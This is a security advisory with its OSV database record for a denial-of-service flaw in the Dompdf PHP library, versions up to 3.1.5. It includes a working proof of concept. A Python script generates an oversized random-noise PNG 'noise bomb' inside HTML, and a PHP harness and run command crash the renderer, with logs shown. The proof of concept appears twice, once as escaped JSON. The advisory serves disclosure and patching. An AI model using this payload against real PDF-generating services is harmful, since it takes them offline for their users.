GHSA-F5GF-2CJ8-52G2
Vulnerability from github – Published: 2026-07-22 22:51 – Updated: 2026-07-22 22:51Summary
Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).
While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.
Technical Deep Dive:
Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to: - 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream. - Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.
Details
The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.
PoC (Proof of Concept)
- Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5
- Use the following Python script to generate the malicious payload (
exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os
DIMENSIONS = (30000, 30000)
OUTPUT_FILE = "payload.html"
def generate_noise_bomb():
print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
image = Image.frombytes('L', DIMENSIONS, random_bytes)
buffer = BytesIO()
# Using PNG instead of JPEG to force full bitmap decompression in memory
image.save(buffer, format="PNG")
image_base64 = base64.b64encode(buffer.getvalue()).decode()
html_content = f"""
<html>
<body>
<div style="overflow:hidden; width:1px; height:1px;">
<img src="data:image/png;base64,{image_base64}">
</div>
<h1>PoC: Resource Exhaustion</h1>
</body>
</html>
"""
with open(OUTPUT_FILE, "w") as f:
f.write(html_content)
print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")
if __name__ == "__main__":
generate_noise_bomb()
- Use the following Python script to monitor the system resources in a separate terminal (
monitor.py):
import psutil
import time
def start_monitoring():
print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
try:
while True:
for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
if 'php' in proc.info['name'].lower():
try:
pid = proc.info['pid']
mem = proc.info['memory_info'].rss / (1024 * 1024)
cpu = proc.cpu_percent(interval=0.1)
print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
except (psutil.NoSuchProcess, psutil.AccessDenied):
print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
return
time.sleep(0.05)
except KeyboardInterrupt:
print("\n[*] Monitoring finished.")
if __name__ == "__main__":
start_monitoring()
- Create a file named
render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->set('isRemoteEnabled', true);
$options->set('isHtml5ParserEnabled', true);
$dompdf = new Dompdf($options);
$html = file_get_contents('php://stdin');
echo "[*] Starting Dompdf rendering process...\n";
try {
$dompdf->loadHtml($html);
$dompdf->render(); // Point of resource exhaustion
echo "[+] PDF rendered successfully.\n";
} catch (Exception $e) {
echo "[!] Render failed: " . $e->getMessage() . "\n";
}
- Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:
php -d memory_limit=2G render.php < payload.html
- The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.
Proof of Concept Results
https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b
The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.
Payload Generation:
python3 exploit.py
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html
Target Execution & Denial of Service:
``` Command execution php -d memory_limit=2G render.php < payload.html
Output [*] Starting Dompdf rendering process... PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490
While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:
python3 monitor.py [*] Searching for PHP processes... (Press Ctrl+C to stop) [MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7% ```
Key Findings from Telemetry:
- CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.
- Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.
- Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.
Impact
An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.
Credits
- Offensive Security Researcher: Fabian Rosales (far00t01).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59942"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:51:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nDompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).\n\nWhile Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.\n\n### Technical Deep Dive:\nStandard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:\n- **100% CPU Saturation:** The rendering thread hangs indefinitely trying to process the pixel stream.\n- **Process Termination:** The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.\n\n### Details\nThe vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object\u0027s bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.\n\n### PoC (Proof of Concept)\n1. Install Dompdf v3.1.5 via Composer.\n```\ncomposer require dompdf/dompdf:3.1.5\n```\n2. Use the following Python script to generate the malicious payload (`exploit.py`):\n```python\nfrom PIL import Image\nimport base64\nfrom io import BytesIO\nimport os\n\nDIMENSIONS = (30000, 30000) \nOUTPUT_FILE = \"payload.html\"\n\ndef generate_noise_bomb():\n print(f\"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...\")\n \n random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])\n image = Image.frombytes(\u0027L\u0027, DIMENSIONS, random_bytes)\n \n buffer = BytesIO()\n # Using PNG instead of JPEG to force full bitmap decompression in memory\n image.save(buffer, format=\"PNG\")\n image_base64 = base64.b64encode(buffer.getvalue()).decode()\n\n html_content = f\"\"\"\n \u003chtml\u003e\n \u003cbody\u003e\n \u003cdiv style=\"overflow:hidden; width:1px; height:1px;\"\u003e\n \u003cimg src=\"data:image/png;base64,{image_base64}\"\u003e\n \u003c/div\u003e\n \u003ch1\u003ePoC: Resource Exhaustion\u003c/h1\u003e\n \u003c/body\u003e\n \u003c/html\u003e\n \"\"\"\n \n with open(OUTPUT_FILE, \"w\") as f:\n f.write(html_content)\n print(f\"[+] High-entropy payload saved to: {OUTPUT_FILE}\")\n\nif __name__ == \"__main__\":\n generate_noise_bomb()\n```\n3. Use the following Python script to monitor the system resources in a separate terminal (`monitor.py`):\n```python\nimport psutil\nimport time\n\ndef start_monitoring():\n print(\"[*] Searching for PHP processes... (Press Ctrl+C to stop)\")\n try:\n while True:\n for proc in psutil.process_iter([\u0027pid\u0027, \u0027name\u0027, \u0027memory_info\u0027, \u0027cpu_percent\u0027]):\n if \u0027php\u0027 in proc.info[\u0027name\u0027].lower():\n try:\n pid = proc.info[\u0027pid\u0027]\n mem = proc.info[\u0027memory_info\u0027].rss / (1024 * 1024)\n cpu = proc.cpu_percent(interval=0.1)\n print(f\"\\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%\", end=\"\", flush=True)\n except (psutil.NoSuchProcess, psutil.AccessDenied):\n print(f\"\\n[!] CRASH DETECTED: Process {pid} terminated abruptly.\")\n return\n time.sleep(0.05)\n except KeyboardInterrupt:\n print(\"\\n[*] Monitoring finished.\")\n\nif __name__ == \"__main__\":\n start_monitoring()\n\n```\n4. Create a file named `render.php`. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:\n```php\n\u003c?php\nrequire_once __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options-\u003eset(\u0027isRemoteEnabled\u0027, true);\n$options-\u003eset(\u0027isHtml5ParserEnabled\u0027, true);\n\n$dompdf = new Dompdf($options);\n\n$html = file_get_contents(\u0027php://stdin\u0027);\n\necho \"[*] Starting Dompdf rendering process...\\n\";\n\ntry {\n $dompdf-\u003eloadHtml($html);\n $dompdf-\u003erender(); // Point of resource exhaustion\n echo \"[+] PDF rendered successfully.\\n\";\n} catch (Exception $e) {\n echo \"[!] Render failed: \" . $e-\u003egetMessage() . \"\\n\";\n}\n```\n5. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:\n```\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n6. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.\n\n## Proof of Concept Results\n\nhttps://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b\n\nThe following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.\n\nPayload Generation:\n```\npython3 exploit.py \n[*] Generating 30000x30000 High-Entropy Noise Bomb...\n[+] High-entropy payload saved to: payload.html\n```\n\nTarget Execution \u0026 Denial of Service:\n\n``` Command execution\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n\n```\nOutput\n[*] Starting Dompdf rendering process...\nPHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490\n```\nWhile executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:\n```\npython3 monitor.py \n[*] Searching for PHP processes... (Press Ctrl+C to stop)\n[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%\n```\n\n### Key Findings from Telemetry:\n- CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.\n- Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.\n- Bypass Confirmation: The telemetry proves that Dompdf\u0027s internal \"safe\" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.\n\n\n## Impact\nAn unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.\n\n## Credits\n- Offensive Security Researcher: Fabian Rosales (far00t01).",
"id": "GHSA-f5gf-2cj8-52g2",
"modified": "2026-07-22T22:51:40Z",
"published": "2026-07-22T22:51:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-f5gf-2cj8-52g2"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/89164eaabe0bb50c462f0b24f740044ba5fb0f99"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.